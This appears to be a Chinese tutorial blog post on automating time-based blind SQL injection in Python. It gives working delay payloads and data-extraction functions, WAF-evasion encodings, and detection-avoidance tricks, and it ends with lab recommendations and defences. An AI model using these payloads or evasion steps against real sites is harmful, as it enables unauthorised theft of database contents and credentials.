SQL注入之延时盲注python自动化利用


一、基础准备

1. 理解延时盲注原理
  • 核心逻辑:通过构造SQL语句,当条件为真时触发数据库延时(如SLEEP(5)),通过响应时间差异判断条件是否成立。

  • 关键函数

    • MySQL:SLEEP(N)BENCHMARK(循环次数,表达式)

    • PostgreSQL:pg_sleep(N)

    • SQL Server:WAITFOR DELAY '0:0:5'

2. 掌握Python网络请求基础
  • 库学习requests库发送HTTP请求,time库计算响应时间。

  • 示例代码

    python

    import requests
    import time
    
    url = "http://example.com/vuln_page.php?id=1"
    payload = "' AND IF(1=1, SLEEP(5), 0)-- "
    start_time = time.time()
    response = requests.get(url + payload)
    delay = time.time() - start_time
    print("响应延迟:", delay)
3. 分析目标漏洞
  • 确认注入点:手工测试是否存在延时盲注漏洞。

  • 确定数据库类型:通过延时函数差异(如MySQL用SLEEP,PostgreSQL用pg_sleep)。


二、核心模块实现

1. 延时检测模块
  • 功能:判断请求是否触发延时。

  • 实现逻辑

    python

    def check_delay(url, payload, threshold=5):
        try:
            start_time = time.time()
            requests.get(url + payload, timeout=threshold + 2)
            delay = time.time() - start_time
            return delay >= threshold  # 返回True/False
        except requests.exceptions.Timeout:
            return True  # 超时视为触发延时
2. 数据提取模块
  • 功能:逐字符猜解目标数据(如数据库名、表名)。

  • 步骤

    1. 猜解数据长度

      python

      def get_length(sql_query, max_len=50):
          for length in range(1, max_len + 1):
              payload = f"' AND IF(({sql_query})={length}, SLEEP(5), 0)-- "
              if check_delay(url, payload):
                  return length
          return None
    2. 猜解字符内容(以ASCII码为例):

      python

      def get_char(sql_query, position):
          for code in range(32, 127):  # ASCII可打印字符范围
              payload = f"' AND IF(ASCII(SUBSTRING(({sql_query}),{position},1))={code}, SLEEP(5), 0)-- "
              if check_delay(url, payload):
                  return chr(code)
          return None
3. 自动化循环
  • 整合逻辑:循环调用get_lengthget_char提取完整数据。

  • 示例代码

    python

    def extract_data(sql_query):
        length = get_length(f"LENGTH(({sql_query}))")
        if not length:
            return None
        result = ""
        for i in range(1, length + 1):
            char = get_char(sql_query, i)
            result += char
        return result

三、优化与绕过

1. 性能优化
  • 二分法加速:将ASCII码遍历改为二分查找,减少请求次数。

    python

    def get_char_binary(sql_query, position):
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = f"' AND IF(ASCII(SUBSTRING(({sql_query}),{position},1))>{mid}, SLEEP(5), 0)-- "
            if check_delay(url, payload):
                low = mid + 1
            else:
                high = mid - 1
        # 二次确认最终值
        payload = f"' AND IF(ASCII(SUBSTRING(({sql_query}),{position},1))={low}, SLEEP(5), 0)-- "
        return chr(low) if check_delay(url, payload) else None
2. 绕过过滤
  • 混淆Payload

    • 大小写混合:SlEeP(5) → SLEEP的变种。

    • 内联注释:SLE/**/EP(5)

  • 编码绕过

    • 十六进制编码:SLEEP(5) → 0x534c454550283529

    • URL编码:SLEEP → %53%4C%45%45%50

3. 请求伪装
  • 添加请求头:模拟浏览器行为,避免被WAF拦截。

    python

    headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept-Language": "en-US,en;q=0.9" } response = requests.get(url, headers=headers)

  • 随机延时:在请求间添加随机等待时间,降低检测概率。

    python

    import random
    time.sleep(random.uniform(0.5, 2.0))

四、实战与提升

1. 靶场实战
  • 推荐环境

    • DVWA(Damn Vulnerable Web Application):设置安全等级为“Low”。

    • SQLi Labs:专为SQL注入设计的训练靶场。

  • 任务示例

    • 提取当前数据库名称。

    • 获取数据库所有表名。

    • 提取用户表数据(如用户名、密码)。

2. 错误处理与日志
  • 异常捕获:处理网络超时、连接错误等异常。

    python

    try:
        response = requests.get(url, timeout=10)
    except requests.exceptions.RequestException as e:
        print("请求失败:", e)
  • 日志记录:保存每次请求的Payload和结果,便于调试。

    python

    import logging
    logging.basicConfig(filename='injection.log', level=logging.INFO)
    logging.info(f"Payload: {payload}, Delay: {delay}")
3. 进阶方向
  • 多线程加速:使用threading库并发猜解多个字符。

  • 结合其他注入技术:如布尔盲注+时间盲注混合判断。

  • 研究sqlmap源码:学习自动化工具的底层实现逻辑。


五、防御与伦理

  1. 合法授权:仅在授权环境中测试,禁止非法攻击。

  2. 防御措施

    • 参数化查询:杜绝SQL拼接。

    • WAF规则:检测SLEEPBENCHMARK等关键字。

    • 速率限制:限制同一IP的请求频率。


总结:掌握延时盲注自动化需分步实践,从基础请求到优化绕过,最终实现稳定高效的数据提取工具。重点理解每个模块的底层逻辑,而非直接复制代码。

你可能感兴趣的:(sql,python,自动化,网络安全)